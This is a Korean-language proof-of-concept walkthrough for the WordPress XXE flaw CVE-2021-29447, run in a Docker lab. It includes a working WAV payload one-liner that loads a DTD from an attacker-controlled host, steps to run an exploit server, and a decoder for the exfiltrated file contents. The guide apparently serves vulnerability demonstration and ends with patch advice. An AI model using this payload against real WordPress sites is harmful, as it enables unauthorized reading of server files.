
CVE-2021-29447은 PHP 8.0+에서 실행될 때 WordPress 5.6–5.7 버전(5.7.1에서 패치됨)에 영향을 미치는 XXE(XML External Entity) 주입 취약점입니다. 이 취약점은 미디어 메타데이터 파싱에 사용되는 getID3 라이브러리에 존재합니다.
WordPress는 getID3를 통해 WAV 파일의 iXML 청크를 처리하며, 이 과정에서 LIBXML_NOENT 플래그와 함께 simplexml_load_string()을 호출합니다. 이 플래그는 외부 엔티티 치환을 명시적으로 활성화하여 PHP 8의 기본 XXE 보호 기능(더 이상 사용되지 않는 libxml_disable_entity_loader())을 우회합니다.
본 PoC는 Dockerized WordPress 5.7 + PHP 8.0.3을 사용하여 취약점을 시연합니다. Linux 사용자는 WAV/DTD 파일도 생성하는 단일 파일 스크립트를 사용할 수 있습니다.
▶️: https://youtu.be/YnGowuWHFyY
Windows 호스트에 Docker Desktop 설치
전용 프로젝트 디렉터리를 생성합니다(모든 PowerShell 명령은 여기서 실행됩니다):
#powershell
mkdir cve-2021-29447-poc
cd cve-2021-29447-poc
취약한 WordPress 배포:
#powershell
notepad docker-compose.yml
docker-compose.yml의 내용을 복사하여 붙여넣으세요
컨테이너 시작:
#powershell
docker-compose up -d
자동 업데이트 비활성화(취약점 지속에 중요):
#powershell
docker-compose exec wordpress bash
#bash
sed -i "s/WP_AUTO_UPDATE_CORE', true/WP_AUTO_UPDATE_CORE', false/g" /var/www/html/wp-config-sample.php
echo "define('AUTOMATIC_UPDATER_DISABLED', true);" >> /var/www/html/wp-config-sample.php
echo "define('WP_AUTO_UPDATE_CORE', false);" >> /var/www/html/wp-config-sample.php
tail -5 /var/www/html/wp-config-sample.php
exit
취약한 버전 확인:
#powershell
docker-compose exec wordpress bash -c "grep wp_version /var/www/html/wp-includes/version.php && php -v"
예상 결과: WordPress 5.7, PHP 8.0+
WordPress 설치:
관리자: test / test / [email protected]
설정 완료 → /wp-admin 접근
공격자 IP 확인:
#powershell
ipconfig | findstr IPv4
자신의 IP를 기록하세요(예: 192.168.1.196)
DTD 페이로드 생성:
#powershell
notepad evil.dtd
evil.dtd의 내용을 복사하여 붙여넣으세요
WAV 페이로드 생성(Linux CLI):
#bash
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOUR_IP:PORT/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
python3 -m http.server 8000을 통해 전송 → Windows 브라우저에서 다운로드(예: http://<VM_IP>:8000)
참고: Windows 환경의 바이너리 이스케이프 복잡성으로 인해 WAV는 별도로 생성됩니다
익스플로잇 서버 배포:
#powershell
notepad exploit.py
exploit.py의 내용을 복사하여 붙여넣으세요
명령:
#powershell
python exploit.py -l YOUR_IP -p PORT
XXE 트리거:
http://localhost:8080/wp-admin → 미디어 → 새로 추가
payload.wav 업로드
Python 서버 콘솔 모니터링 -> 외부 유출 데이터 캡처
Base64+Zlib 페이로드 디코딩:
#powershell
$bd='PASTE_BASE64_HERE';$bytes=[Convert]::FromBase64String($bd);$decoded=[System.IO.Compression.DeflateStream]::new([System.IO.MemoryStream]::new($bytes,$false),[System.IO.Compression.CompressionMode]::Decompress);[System.IO.StreamReader]::new($decoded).ReadToEnd()
WordPress 5.7.1 이상으로 업그레이드하거나 getID3 파싱에서 LIBXML_NOENT를 비활성화하세요.